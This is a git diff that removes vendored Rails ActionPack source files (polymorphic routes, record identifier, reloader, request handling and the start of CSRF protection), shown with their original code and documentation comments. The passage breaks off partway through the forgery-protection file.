diff --git a/vendor/rails/actionpack/lib/action_controller/polymorphic_routes.rb b/vendor/rails/actionpack/lib/action_controller/polymorphic_routes.rb
deleted file mode 100644
index 612701d4..00000000
--- a/vendor/rails/actionpack/lib/action_controller/polymorphic_routes.rb
+++ /dev/null
@@ -1,189 +0,0 @@
-module ActionController
-  # Polymorphic URL helpers are methods for smart resolution to a named route call when
-  # given an Active Record model instance. They are to be used in combination with
-  # ActionController::Resources.
-  #
-  # These methods are useful when you want to generate correct URL or path to a RESTful
-  # resource without having to know the exact type of the record in question.
-  #
-  # Nested resources and/or namespaces are also supported, as illustrated in the example:
-  #
-  #   polymorphic_url([:admin, @article, @comment])
-  #
-  # results in:
-  #   
-  #   admin_article_comment_url(@article, @comment)
-  #
-  # == Usage within the framework
-  #
-  # Polymorphic URL helpers are used in a number of places throughout the Rails framework:
-  #
-  # * <tt>url_for</tt>, so you can use it with a record as the argument, e.g.
-  #   <tt>url_for(@article)</tt>;
-  # * ActionView::Helpers::FormHelper uses <tt>polymorphic_path</tt>, so you can write
-  #   <tt>form_for(@article)</tt> without having to specify <tt>:url</tt> parameter for the form
-  #   action;
-  # * <tt>redirect_to</tt> (which, in fact, uses <tt>url_for</tt>) so you can write
-  #   <tt>redirect_to(post)</tt> in your controllers;
-  # * ActionView::Helpers::AtomFeedHelper, so you don't have to explicitly specify URLs
-  #   for feed entries.
-  #
-  # == Prefixed polymorphic helpers
-  #
-  # In addition to <tt>polymorphic_url</tt> and <tt>polymorphic_path</tt> methods, a
-  # number of prefixed helpers are available as a shorthand to <tt>:action => "..."</tt>
-  # in options. Those are:
-  #
-  # * <tt>edit_polymorphic_url</tt>, <tt>edit_polymorphic_path</tt>
-  # * <tt>new_polymorphic_url</tt>, <tt>new_polymorphic_path</tt>
-  #
-  # Example usage:
-  #
-  #   edit_polymorphic_path(@post)              # => "/posts/1/edit"
-  #   polymorphic_path(@post, :format => :pdf)  # => "/posts/1.pdf"
-  module PolymorphicRoutes
-    # Constructs a call to a named RESTful route for the given record and returns the
-    # resulting URL string. For example:
-    #
-    #   # calls post_url(post)
-    #   polymorphic_url(post) # => "http://example.com/posts/1"
-    #   polymorphic_url([blog, post]) # => "http://example.com/blogs/1/posts/1"
-    #   polymorphic_url([:admin, blog, post]) # => "http://example.com/admin/blogs/1/posts/1"
-    #   polymorphic_url([user, :blog, post]) # => "http://example.com/users/1/blog/posts/1"
-    #
-    # ==== Options
-    #
-    # * <tt>:action</tt> - Specifies the action prefix for the named route:
-    #   <tt>:new</tt> or <tt>:edit</tt>. Default is no prefix.
-    # * <tt>:routing_type</tt> - Allowed values are <tt>:path</tt> or <tt>:url</tt>.
-    #   Default is <tt>:url</tt>.
-    #
-    # ==== Examples
-    #
-    #   # an Article record
-    #   polymorphic_url(record)  # same as article_url(record)
-    #
-    #   # a Comment record
-    #   polymorphic_url(record)  # same as comment_url(record)
-    #
-    #   # it recognizes new records and maps to the collection
-    #   record = Comment.new
-    #   polymorphic_url(record)  # same as comments_url()
-    #
-    def polymorphic_url(record_or_hash_or_array, options = {})
-      if record_or_hash_or_array.kind_of?(Array)
-        record_or_hash_or_array = record_or_hash_or_array.compact
-        record_or_hash_or_array = record_or_hash_or_array[0] if record_or_hash_or_array.size == 1
-      end
-
-      record = extract_record(record_or_hash_or_array)
-
-      args = case record_or_hash_or_array
-        when Hash;  [ record_or_hash_or_array ]
-        when Array; record_or_hash_or_array.dup
-        else        [ record_or_hash_or_array ]
-      end
-
-      inflection =
-        case
-        when options[:action].to_s == "new"
-          args.pop
-          :singular
-        when record.respond_to?(:new_record?) && record.new_record?
-          args.pop
-          :plural
-        else
-          :singular
-        end
-
-      args.delete_if {|arg| arg.is_a?(Symbol) || arg.is_a?(String)}
-      named_route = build_named_route_call(record_or_hash_or_array, inflection, options)
-
-      url_options = options.except(:action, :routing_type)
-      unless url_options.empty?
-        args.last.kind_of?(Hash) ? args.last.merge!(url_options) : args << url_options
-      end
-
-      __send__(named_route, *args)
-    end
-
-    # Returns the path component of a URL for the given record. It uses
-    # <tt>polymorphic_url</tt> with <tt>:routing_type => :path</tt>.
-    def polymorphic_path(record_or_hash_or_array, options = {})
-      options[:routing_type] = :path
-      polymorphic_url(record_or_hash_or_array, options)
-    end
-
-    %w(edit new).each do |action|
-      module_eval <<-EOT, __FILE__, __LINE__ + 1
-        def #{action}_polymorphic_url(record_or_hash, options = {})         # def edit_polymorphic_url(record_or_hash, options = {})
-          polymorphic_url(                                                  #   polymorphic_url(
-            record_or_hash,                                                 #     record_or_hash,
-            options.merge(:action => "#{action}"))                          #     options.merge(:action => "edit"))
-        end                                                                 # end
-                                                                            #
-        def #{action}_polymorphic_path(record_or_hash, options = {})        # def edit_polymorphic_path(record_or_hash, options = {})
-          polymorphic_url(                                                  #   polymorphic_url(
-            record_or_hash,                                                 #     record_or_hash,
-            options.merge(:action => "#{action}", :routing_type => :path))  #     options.merge(:action => "edit", :routing_type => :path))
-        end                                                                 # end
-      EOT
-    end
-
-    def formatted_polymorphic_url(record_or_hash, options = {})
-      ActiveSupport::Deprecation.warn("formatted_polymorphic_url has been deprecated. Please pass :format to the polymorphic_url method instead", caller)
-      options[:format] = record_or_hash.pop if Array === record_or_hash
-      polymorphic_url(record_or_hash, options)
-    end
-
-    def formatted_polymorphic_path(record_or_hash, options = {})
-      ActiveSupport::Deprecation.warn("formatted_polymorphic_path has been deprecated. Please pass :format to the polymorphic_path method instead", caller)
-      options[:format] = record_or_hash.pop if record_or_hash === Array
-      polymorphic_url(record_or_hash, options.merge(:routing_type => :path))
-    end
-
-    private
-      def action_prefix(options)
-        options[:action] ? "#{options[:action]}_" : ''
-      end
-
-      def routing_type(options)
-        options[:routing_type] || :url
-      end
-
-      def build_named_route_call(records, inflection, options = {})
-        unless records.is_a?(Array)
-          record = extract_record(records)
-          route  = ''
-        else
-          record = records.pop
-          route = records.inject("") do |string, parent|
-            if parent.is_a?(Symbol) || parent.is_a?(String)
-              string << "#{parent}_"
-            else
-              string << RecordIdentifier.__send__("plural_class_name", parent).singularize
-              string << "_"
-            end
-          end
-        end
-
-        if record.is_a?(Symbol) || record.is_a?(String)
-          route << "#{record}_"
-        else
-          route << RecordIdentifier.__send__("plural_class_name", record)
-          route = route.singularize if inflection == :singular
-          route << "_"
-        end
-
-        action_prefix(options) + route + routing_type(options).to_s
-      end
-
-      def extract_record(record_or_hash_or_array)
-        case record_or_hash_or_array
-          when Array; record_or_hash_or_array.last
-          when Hash;  record_or_hash_or_array[:id]
-          else        record_or_hash_or_array
-        end
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/rack_lint_patch.rb b/vendor/rails/actionpack/lib/action_controller/rack_lint_patch.rb
deleted file mode 100644
index da9f1684..00000000
--- a/vendor/rails/actionpack/lib/action_controller/rack_lint_patch.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-# Rack 1.0 does not allow string subclass body. This does not play well with our ActiveSupport::SafeBuffer.
-# The next release of Rack will be allowing string subclass body - http://github.com/rack/rack/commit/de668df02802a0335376a81ba709270e43ba9d55
-# TODO : Remove this monkey patch after the next release of Rack
-
-module RackLintPatch
-  module AllowStringSubclass
-    def self.included(base)
-      base.send :alias_method, :each, :each_with_hack
-    end
-
-    def each_with_hack
-      @closed = false
-
-      @body.each { |part|
-        assert("Body yielded non-string value #{part.inspect}") {
-          part.kind_of?(String)
-        }
-        yield part
-      }
-
-      if @body.respond_to?(:to_path)
-        assert("The file identified by body.to_path does not exist") {
-          ::File.exist? @body.to_path
-        }
-      end
-    end
-  end
-
-  begin
-    app = proc {|env| [200, {"Content-Type" => "text/plain", "Content-Length" => "12"}, [Class.new(String).new("Hello World!")]] }
-    response = Rack::MockRequest.new(Rack::Lint.new(app)).get('/')
-  rescue Rack::Lint::LintError => e
-    raise(e) unless e.message =~ /Body yielded non-string value/
-    Rack::Lint.send :include, AllowStringSubclass
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/record_identifier.rb b/vendor/rails/actionpack/lib/action_controller/record_identifier.rb
deleted file mode 100644
index 742d290a..00000000
--- a/vendor/rails/actionpack/lib/action_controller/record_identifier.rb
+++ /dev/null
@@ -1,104 +0,0 @@
-module ActionController  
-  # The record identifier encapsulates a number of naming conventions for dealing with records, like Active Records or 
-  # Active Resources or pretty much any other model type that has an id. These patterns are then used to try elevate
-  # the view actions to a higher logical level. Example:
-  #
-  #   # routes
-  #   map.resources :posts
-  #
-  #   # view
-  #   <% div_for(post) do %>     <div id="post_45" class="post">
-  #     <%= post.body %>           What a wonderful world!
-  #   <% end %>                  </div>
-  #
-  #   # controller
-  #   def destroy
-  #     post = Post.find(params[:id])
-  #     post.destroy
-  #
-  #     respond_to do |format|
-  #       format.html { redirect_to(post) } # Calls polymorphic_url(post) which in turn calls post_url(post)
-  #       format.js do
-  #         # Calls: new Effect.fade('post_45');
-  #         render(:update) { |page| page[post].visual_effect(:fade) }
-  #       end
-  #     end
-  #   end
-  #
-  # As the example above shows, you can stop caring to a large extent what the actual id of the post is. You just know
-  # that one is being assigned and that the subsequent calls in redirect_to and the RJS expect that same naming 
-  # convention and allows you to write less code if you follow it.
-  module RecordIdentifier
-    extend self
-
-    JOIN = '_'.freeze
-    NEW = 'new'.freeze
-
-    # Returns plural/singular for a record or class. Example:
-    #
-    #   partial_path(post)                   # => "posts/post"
-    #   partial_path(Person)                 # => "people/person"
-    #   partial_path(Person, "admin/games")  # => "admin/people/person"
-    def partial_path(record_or_class, controller_path = nil)
-      name = model_name_from_record_or_class(record_or_class)
-
-      if controller_path && controller_path.include?("/")
-        "#{File.dirname(controller_path)}/#{name.partial_path}"
-      else
-        name.partial_path
-      end
-    end
-
-    # The DOM class convention is to use the singular form of an object or class. Examples:
-    #
-    #   dom_class(post)   # => "post"
-    #   dom_class(Person) # => "person"
-    #
-    # If you need to address multiple instances of the same class in the same view, you can prefix the dom_class:
-    #
-    #   dom_class(post, :edit)   # => "edit_post"
-    #   dom_class(Person, :edit) # => "edit_person"
-    def dom_class(record_or_class, prefix = nil)
-      singular = singular_class_name(record_or_class)
-      prefix ? "#{prefix}#{JOIN}#{singular}" : singular
-    end
-
-    # The DOM id convention is to use the singular form of an object or class with the id following an underscore.
-    # If no id is found, prefix with "new_" instead. Examples:
-    #
-    #   dom_id(Post.find(45))       # => "post_45"
-    #   dom_id(Post.new)            # => "new_post"
-    #
-    # If you need to address multiple instances of the same class in the same view, you can prefix the dom_id:
-    #
-    #   dom_id(Post.find(45), :edit) # => "edit_post_45"
-    def dom_id(record, prefix = nil) 
-      if record_id = record.id
-        "#{dom_class(record, prefix)}#{JOIN}#{record_id}"
-      else
-        dom_class(record, prefix || NEW)
-      end
-    end
-
-    # Returns the plural class name of a record or class. Examples:
-    #
-    #   plural_class_name(post)             # => "posts"
-    #   plural_class_name(Highrise::Person) # => "highrise_people"
-    def plural_class_name(record_or_class)
-      model_name_from_record_or_class(record_or_class).plural
-    end
-
-    # Returns the singular class name of a record or class. Examples:
-    #
-    #   singular_class_name(post)             # => "post"
-    #   singular_class_name(Highrise::Person) # => "highrise_person"
-    def singular_class_name(record_or_class)
-      model_name_from_record_or_class(record_or_class).singular
-    end
-
-    private
-      def model_name_from_record_or_class(record_or_class)
-        (record_or_class.is_a?(Class) ? record_or_class : record_or_class.class).model_name
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/reloader.rb b/vendor/rails/actionpack/lib/action_controller/reloader.rb
deleted file mode 100644
index 709d88a3..00000000
--- a/vendor/rails/actionpack/lib/action_controller/reloader.rb
+++ /dev/null
@@ -1,54 +0,0 @@
-require 'thread'
-
-module ActionController
-  class Reloader
-    @@default_lock = Mutex.new
-    cattr_accessor :default_lock
-
-    class BodyWrapper
-      def initialize(body, lock)
-        @body = body
-        @lock = lock
-      end
-
-      def close
-        @body.close if @body.respond_to?(:close)
-      ensure
-        Dispatcher.cleanup_application
-        @lock.unlock
-      end
-
-      def method_missing(*args, &block)
-        @body.send(*args, &block)
-      end
-
-      def respond_to?(symbol, include_private = false)
-        symbol == :close || @body.respond_to?(symbol, include_private)
-      end
-    end
-
-    def self.run(lock = @@default_lock)
-      lock.lock
-      begin
-        Dispatcher.reload_application
-        status, headers, body = yield
-        # We do not want to call 'cleanup_application' in an ensure block
-        # because the returned Rack response body may lazily generate its data. This
-        # is for example the case if one calls
-        #
-        #   render :text => lambda { ... code here which refers to application models ... }
-        #
-        # in an ActionController.
-        #
-        # Instead, we will want to cleanup the application code after the request is
-        # completely finished. So we wrap the body in a BodyWrapper class so that
-        # when the Rack handler calls #close during the end of the request, we get to
-        # run our cleanup code.
-        [status, headers, BodyWrapper.new(body, lock)]
-      rescue Exception
-        lock.unlock
-        raise
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/request.rb b/vendor/rails/actionpack/lib/action_controller/request.rb
deleted file mode 100755
index dc462530..00000000
--- a/vendor/rails/actionpack/lib/action_controller/request.rb
+++ /dev/null
@@ -1,495 +0,0 @@
-require 'tempfile'
-require 'stringio'
-require 'strscan'
-
-require 'active_support/memoizable'
-require 'action_controller/cgi_ext'
-
-module ActionController
-  class Request < Rack::Request
-
-    %w[ AUTH_TYPE GATEWAY_INTERFACE
-        PATH_TRANSLATED REMOTE_HOST
-        REMOTE_IDENT REMOTE_USER REMOTE_ADDR
-        SERVER_NAME SERVER_PROTOCOL
-
-        HTTP_ACCEPT HTTP_ACCEPT_CHARSET HTTP_ACCEPT_ENCODING
-        HTTP_ACCEPT_LANGUAGE HTTP_CACHE_CONTROL HTTP_FROM
-        HTTP_NEGOTIATE HTTP_PRAGMA HTTP_REFERER HTTP_USER_AGENT ].each do |env|
-      define_method(env.sub(/^HTTP_/n, '').downcase) do
-        @env[env]
-      end
-    end
-
-    def key?(key)
-      @env.key?(key)
-    end
-
-    HTTP_METHODS = %w(get head put post delete options)
-    HTTP_METHOD_LOOKUP = HTTP_METHODS.inject({}) { |h, m| h[m] = h[m.upcase] = m.to_sym; h }
-
-    # Returns the true HTTP request \method as a lowercase symbol, such as
-    # <tt>:get</tt>. If the request \method is not listed in the HTTP_METHODS
-    # constant above, an UnknownHttpMethod exception is raised.
-    def request_method
-      @request_method ||= HTTP_METHOD_LOOKUP[super] || raise(UnknownHttpMethod, "#{super}, accepted HTTP methods are #{HTTP_METHODS.to_sentence(:locale => :en)}")
-    end
-
-    # Returns the HTTP request \method used for action processing as a
-    # lowercase symbol, such as <tt>:post</tt>. (Unlike #request_method, this
-    # method returns <tt>:get</tt> for a HEAD request because the two are
-    # functionally equivalent from the application's perspective.)
-    def method
-      request_method == :head ? :get : request_method
-    end
-
-    # Is this a GET (or HEAD) request?  Equivalent to <tt>request.method == :get</tt>.
-    def get?
-      method == :get
-    end
-
-    # Is this a POST request?  Equivalent to <tt>request.method == :post</tt>.
-    def post?
-      request_method == :post
-    end
-
-    # Is this a PUT request?  Equivalent to <tt>request.method == :put</tt>.
-    def put?
-      request_method == :put
-    end
-
-    # Is this a DELETE request?  Equivalent to <tt>request.method == :delete</tt>.
-    def delete?
-      request_method == :delete
-    end
-
-    # Is this a HEAD request? Since <tt>request.method</tt> sees HEAD as <tt>:get</tt>,
-    # this \method checks the actual HTTP \method directly.
-    def head?
-      request_method == :head
-    end
-
-    # Provides access to the request's HTTP headers, for example:
-    #
-    #   request.headers["Content-Type"] # => "text/plain"
-    def headers
-      @headers ||= ActionController::Http::Headers.new(@env)
-    end
-
-    # Returns the content length of the request as an integer.
-    def content_length
-      super.to_i
-    end
-
-    # The MIME type of the HTTP request, such as Mime::XML.
-    #
-    # For backward compatibility, the post \format is extracted from the
-    # X-Post-Data-Format HTTP header if present.
-    def content_type
-      @content_type ||= begin
-        if @env['CONTENT_TYPE'] =~ /^([^,\;]*)/
-          Mime::Type.lookup($1.strip.downcase)
-        else
-          nil
-        end
-      end
-    end
-
-    def media_type
-      content_type.to_s
-    end
-
-    # Returns the accepted MIME type for the request.
-    def accepts
-      @accepts ||= begin
-        header = @env['HTTP_ACCEPT'].to_s.strip
-
-        if header.empty?
-          [content_type, Mime::ALL].compact
-        else
-          Mime::Type.parse(header)
-        end
-      end
-    end
-
-    def if_modified_since
-      if since = env['HTTP_IF_MODIFIED_SINCE']
-        Time.rfc2822(since) rescue nil
-      end
-    end
-
-    def if_none_match
-      env['HTTP_IF_NONE_MATCH']
-    end
-
-    def not_modified?(modified_at)
-      if_modified_since && modified_at && if_modified_since >= modified_at
-    end
-
-    def etag_matches?(etag)
-      if_none_match && if_none_match == etag
-    end
-
-    # Check response freshness (Last-Modified and ETag) against request
-    # If-Modified-Since and If-None-Match conditions. If both headers are
-    # supplied, both must match, or the request is not considered fresh.
-    def fresh?(response)
-      case
-      when if_modified_since && if_none_match
-        not_modified?(response.last_modified) && etag_matches?(response.etag)
-      when if_modified_since
-        not_modified?(response.last_modified)
-      when if_none_match
-        etag_matches?(response.etag)
-      else
-        false
-      end
-    end
-
-    # Returns the Mime type for the \format used in the request.
-    #
-    #   GET /posts/5.xml   | request.format => Mime::XML
-    #   GET /posts/5.xhtml | request.format => Mime::HTML
-    #   GET /posts/5       | request.format => Mime::HTML or MIME::JS, or request.accepts.first depending on the value of <tt>ActionController::Base.use_accept_header</tt>
-    def format
-      @format ||=
-        if parameters[:format]
-          Mime::Type.lookup_by_extension(parameters[:format])
-        elsif ActionController::Base.use_accept_header
-          accepts.first
-        elsif xhr?
-          Mime::Type.lookup_by_extension("js")
-        else
-          Mime::Type.lookup_by_extension("html")
-        end
-    end
-
-
-    # Sets the \format by string extension, which can be used to force custom formats
-    # that are not controlled by the extension.
-    #
-    #   class ApplicationController < ActionController::Base
-    #     before_filter :adjust_format_for_iphone
-    #
-    #     private
-    #       def adjust_format_for_iphone
-    #         request.format = :iphone if request.env["HTTP_USER_AGENT"][/iPhone/]
-    #       end
-    #   end
-    def format=(extension)
-      parameters[:format] = extension.to_s
-      @format = Mime::Type.lookup_by_extension(parameters[:format])
-    end
-
-    # Returns a symbolized version of the <tt>:format</tt> parameter of the request.
-    # If no \format is given it returns <tt>:js</tt>for Ajax requests and <tt>:html</tt>
-    # otherwise.
-    def template_format
-      parameter_format = parameters[:format]
-
-      if parameter_format
-        parameter_format
-      elsif xhr?
-        :js
-      else
-        :html
-      end
-    end
-
-    def cache_format
-      parameters[:format]
-    end
-
-    # Returns true if the request's "X-Requested-With" header contains
-    # "XMLHttpRequest". (The Prototype Javascript library sends this header with
-    # every Ajax request.)
-    def xml_http_request?
-      !(@env['HTTP_X_REQUESTED_WITH'] !~ /XMLHttpRequest/i)
-    end
-    alias xhr? :xml_http_request?
-
-    # Which IP addresses are "trusted proxies" that can be stripped from
-    # the right-hand-side of X-Forwarded-For
-    TRUSTED_PROXIES = /^127\.0\.0\.1$|^(10|172\.(1[6-9]|2[0-9]|30|31)|192\.168)\./i
-
-    # Determines originating IP address.  REMOTE_ADDR is the standard
-    # but will fail if the user is behind a proxy.  HTTP_CLIENT_IP and/or
-    # HTTP_X_FORWARDED_FOR are set by proxies so check for these if
-    # REMOTE_ADDR is a proxy.  HTTP_X_FORWARDED_FOR may be a comma-
-    # delimited list in the case of multiple chained proxies; the last
-    # address which is not trusted is the originating IP.
-    def remote_ip
-      remote_addr_list = @env['REMOTE_ADDR'] && @env['REMOTE_ADDR'].scan(/[^,\s]+/)
-
-      unless remote_addr_list.blank?
-        not_trusted_addrs = remote_addr_list.reject {|addr| addr =~ TRUSTED_PROXIES}
-        return not_trusted_addrs.first unless not_trusted_addrs.empty?
-      end
-      remote_ips = @env['HTTP_X_FORWARDED_FOR'] && @env['HTTP_X_FORWARDED_FOR'].split(',')
-
-      if @env.include? 'HTTP_CLIENT_IP'
-        if ActionController::Base.ip_spoofing_check && remote_ips && !remote_ips.include?(@env['HTTP_CLIENT_IP'])
-          # We don't know which came from the proxy, and which from the user
-          raise ActionControllerError.new(<<EOM)
-IP spoofing attack?!
-HTTP_CLIENT_IP=#{@env['HTTP_CLIENT_IP'].inspect}
-HTTP_X_FORWARDED_FOR=#{@env['HTTP_X_FORWARDED_FOR'].inspect}
-EOM
-        end
-
-        return @env['HTTP_CLIENT_IP']
-      end
-
-      if remote_ips
-        while remote_ips.size > 1 && TRUSTED_PROXIES =~ remote_ips.last.strip
-          remote_ips.pop
-        end
-
-        return remote_ips.last.strip
-      end
-
-      @env['REMOTE_ADDR']
-    end
-
-    # Returns the lowercase name of the HTTP server software.
-    def server_software
-      (@env['SERVER_SOFTWARE'] && /^([a-zA-Z]+)/ =~ @env['SERVER_SOFTWARE']) ? $1.downcase : nil
-    end
-
-    # Returns the complete URL used for this request.
-    def url
-      protocol + host_with_port + request_uri
-    end
-
-    # Returns 'https://' if this is an SSL request and 'http://' otherwise.
-    def protocol
-      ssl? ? 'https://' : 'http://'
-    end
-
-    # Is this an SSL request?
-    def ssl?
-      @env['HTTPS'] == 'on' || @env['HTTP_X_FORWARDED_PROTO'] == 'https'
-    end
-
-    # Returns the \host for this request, such as "example.com".
-    def raw_host_with_port
-      if forwarded = env["HTTP_X_FORWARDED_HOST"]
-        forwarded.split(/,\s?/).last
-      else
-        env['HTTP_HOST'] || "#{env['SERVER_NAME'] || env['SERVER_ADDR']}:#{env['SERVER_PORT']}"
-      end
-    end
-
-    # Returns the host for this request, such as example.com.
-    def host
-      raw_host_with_port.sub(/:\d+$/, '')
-    end
-
-    # Returns a \host:\port string for this request, such as "example.com" or
-    # "example.com:8080".
-    def host_with_port
-      "#{host}#{port_string}"
-    end
-
-    # Returns the port number of this request as an integer.
-    def port
-      if raw_host_with_port =~ /:(\d+)$/
-        $1.to_i
-      else
-        standard_port
-      end
-    end
-
-    # Returns the standard \port number for this request's protocol.
-    def standard_port
-      case protocol
-        when 'https://' then 443
-        else 80
-      end
-    end
-
-    # Returns a \port suffix like ":8080" if the \port number of this request
-    # is not the default HTTP \port 80 or HTTPS \port 443.
-    def port_string
-      port == standard_port ? '' : ":#{port}"
-    end
-
-    # Returns the \domain part of a \host, such as "rubyonrails.org" in "www.rubyonrails.org". You can specify
-    # a different <tt>tld_length</tt>, such as 2 to catch rubyonrails.co.uk in "www.rubyonrails.co.uk".
-    def domain(tld_length = 1)
-      return nil unless named_host?(host)
-
-      host.split('.').last(1 + tld_length).join('.')
-    end
-
-    # Returns all the \subdomains as an array, so <tt>["dev", "www"]</tt> would be
-    # returned for "dev.www.rubyonrails.org". You can specify a different <tt>tld_length</tt>,
-    # such as 2 to catch <tt>["www"]</tt> instead of <tt>["www", "rubyonrails"]</tt>
-    # in "www.rubyonrails.co.uk".
-    def subdomains(tld_length = 1)
-      return [] unless named_host?(host)
-      parts = host.split('.')
-      parts[0..-(tld_length+2)]
-    end
-
-    # Returns the query string, accounting for server idiosyncrasies.
-    def query_string
-      @env['QUERY_STRING'].present? ? @env['QUERY_STRING'] : (@env['REQUEST_URI'].split('?', 2)[1] || '')
-    end
-
-    # Returns the request URI, accounting for server idiosyncrasies.
-    # WEBrick includes the full URL. IIS leaves REQUEST_URI blank.
-    def request_uri
-      if uri = @env['REQUEST_URI']
-        # Remove domain, which webrick puts into the request_uri.
-        (%r{^\w+\://[^/]+(/.*|$)$} =~ uri) ? $1 : uri
-      else
-        # Construct IIS missing REQUEST_URI from SCRIPT_NAME and PATH_INFO.
-        uri = @env['PATH_INFO'].to_s
-
-        if script_filename = @env['SCRIPT_NAME'].to_s.match(%r{[^/]+$})
-          uri = uri.sub(/#{script_filename}\//, '')
-        end
-
-        env_qs = @env['QUERY_STRING'].to_s
-        uri += "?#{env_qs}" unless env_qs.empty?
-
-        if uri.blank?
-          @env.delete('REQUEST_URI')
-        else
-          @env['REQUEST_URI'] = uri
-        end
-      end
-    end
-
-    # Returns the interpreted \path to requested resource after all the installation
-    # directory of this application was taken into account.
-    def path
-      path = request_uri.to_s[/\A[^\?]*/]
-      path.sub!(/\A#{ActionController::Base.relative_url_root}/, '')
-      path
-    end
-
-    # Read the request \body. This is useful for web services that need to
-    # work with raw requests directly.
-    def raw_post
-      unless @env.include? 'RAW_POST_DATA'
-        @env['RAW_POST_DATA'] = body.read(@env['CONTENT_LENGTH'].to_i)
-        body.rewind if body.respond_to?(:rewind)
-      end
-      @env['RAW_POST_DATA']
-    end
-
-    # Returns both GET and POST \parameters in a single hash.
-    def parameters
-      @parameters ||= request_parameters.merge(query_parameters).update(path_parameters).with_indifferent_access
-    end
-    alias_method :params, :parameters
-
-    def path_parameters=(parameters) #:nodoc:
-      @env["action_controller.request.path_parameters"] = parameters
-      @symbolized_path_parameters = @parameters = nil
-    end
-
-    # The same as <tt>path_parameters</tt> with explicitly symbolized keys.
-    def symbolized_path_parameters
-      @symbolized_path_parameters ||= path_parameters.symbolize_keys
-    end
-
-    # Returns a hash with the \parameters used to form the \path of the request.
-    # Returned hash keys are strings:
-    #
-    #   {'action' => 'my_action', 'controller' => 'my_controller'}
-    #
-    # See <tt>symbolized_path_parameters</tt> for symbolized keys.
-    def path_parameters
-      @env["action_controller.request.path_parameters"] ||= {}
-    end
-
-    # The request body is an IO input stream. If the RAW_POST_DATA environment
-    # variable is already set, wrap it in a StringIO.
-    def body
-      if raw_post = @env['RAW_POST_DATA']
-        raw_post.force_encoding(Encoding::BINARY) if raw_post.respond_to?(:force_encoding)
-        StringIO.new(raw_post)
-      else
-        @env['rack.input']
-      end
-    end
-
-    def form_data?
-      FORM_DATA_MEDIA_TYPES.include?(content_type.to_s)
-    end
-
-    # Override Rack's GET method to support indifferent access
-    def GET
-      @env["action_controller.request.query_parameters"] ||= normalize_parameters(super)
-    end
-    alias_method :query_parameters, :GET
-
-    # Override Rack's POST method to support indifferent access
-    def POST
-      @env["action_controller.request.request_parameters"] ||= normalize_parameters(super)
-    end
-    alias_method :request_parameters, :POST
-
-    def body_stream #:nodoc:
-      @env['rack.input']
-    end
-
-    def session
-      @env['rack.session'] ||= {}
-    end
-
-    def session=(session) #:nodoc:
-      @env['rack.session'] = session
-    end
-
-    def reset_session
-      # session may be a hash, if so, we do not want to call destroy
-      # fixes issue 6440
-      session.destroy if session and session.respond_to?(:destroy)
-      self.session = {}
-    end
-
-    def session_options
-      @env['rack.session.options'] ||= {}
-    end
-
-    def session_options=(options)
-      @env['rack.session.options'] = options
-    end
-
-    def server_port
-      @env['SERVER_PORT'].to_i
-    end
-
-    private
-      def named_host?(host)
-        !(host.nil? || /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/.match(host))
-      end
-
-      # Convert nested Hashs to HashWithIndifferentAccess and replace
-      # file upload hashs with UploadedFile objects
-      def normalize_parameters(value)
-        case value
-        when Hash
-          if value.has_key?(:tempfile)
-            upload = value[:tempfile]
-            upload.extend(UploadedFile)
-            upload.original_path = value[:filename]
-            upload.content_type = value[:type]
-            upload
-          else
-            h = {}
-            value.each { |k, v| h[k] = normalize_parameters(v) }
-            h.with_indifferent_access
-          end
-        when Array
-          value.map { |e| normalize_parameters(e) }
-        else
-          value
-        end
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/request_forgery_protection.rb b/vendor/rails/actionpack/lib/action_controller/request_forgery_protection.rb
deleted file mode 100644
index 00308579..00000000
--- a/vendor/rails/actionpack/lib/action_controller/request_forgery_protection.rb
+++ /dev/null
@@ -1,116 +0,0 @@
-module ActionController #:nodoc:
-  class InvalidAuthenticityToken < ActionControllerError #:nodoc:
-  end
-
-  module RequestForgeryProtection
-    def self.included(base)
-      base.class_eval do
-        helper_method :form_authenticity_token
-        helper_method :protect_against_forgery?
-      end
-      base.extend(ClassMethods)
-    end
-    
-    # Protecting controller actions from CSRF attacks by ensuring that all forms are coming from the current web application, not a
-    # forged link from another site, is done by embedding a token based on a random string stored in the session (which an attacker wouldn't know) in all
-    # forms and Ajax requests generated by Rails and then verifying the authenticity of that token in the controller.  Only
-    # HTML/JavaScript requests are checked, so this will not protect your XML API (presumably you'll have a different authentication
-    # scheme there anyway).  Also, GET requests are not protected as these should be idempotent anyway.
-    #
-    # This is turned on with the <tt>protect_from_forgery</tt> method, which will check the token and raise an
-    # ActionController::InvalidAuthenticityToken if it doesn't match what was expected. You can customize the error message in
-    # production by editing public/422.html.  A call to this method in ApplicationController is generated by default in post-Rails 2.0
-    # applications.
-    #
-    # The token parameter is named <tt>authenticity_token</tt> by default. If you are generating an HTML form manually (without the
-    # use of Rails' <tt>form_for</tt>, <tt>form_tag</tt> or other helpers), you have to include a hidden field named like that and
-    # set its value to what is returned by <tt>form_authenticity_token</tt>. Same applies to manually constructed Ajax requests. To
-    # make the token available through a global variable to scripts on a certain page, you could add something like this to a view:
-    #
-    #   <%= javascript_tag "window._token = '#{form_authenticity_token}'" %>
-    #
-    # Request forgery protection is disabled by default in test environment.  If you are upgrading from Rails 1.x, add this to
-    # config/environments/test.rb:
-    #
-    #   # Disable request forgery protection in test environment
-    #   config.action_controller.allow_forgery_protection = false
-    # 
-    # == Learn more about CSRF (Cross-Site Request Forgery) attacks
-    #
-    # Here are some resources:
-    # * http://isc.sans.org/diary.html?storyid=1750
-    # * http://en.wikipedia.org/wiki/Cross-site_request_forgery
-    #
-    # Keep in mind, this is NOT a silver-bullet, plug 'n' play, warm security blanket for your rails application.
-    # There are a few guidelines you should follow:
-    # 
-    # * Keep your GET requests safe and idempotent.  More reading material:
-    #   * http://www.xml.com/pub/a/2002/04/24/deviant.html
-    #   * http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.1.1
-    # * Make sure the session cookies that Rails creates are non-persistent.  Check in Firefox and look for "Expires: at end of session"
-    #
-    module ClassMethods
-      # Turn on request forgery protection. Bear in mind that only non-GET, HTML/JavaScript requests are checked.
-      #
-      # Example:
-      #
-      #   class FooController < ApplicationController
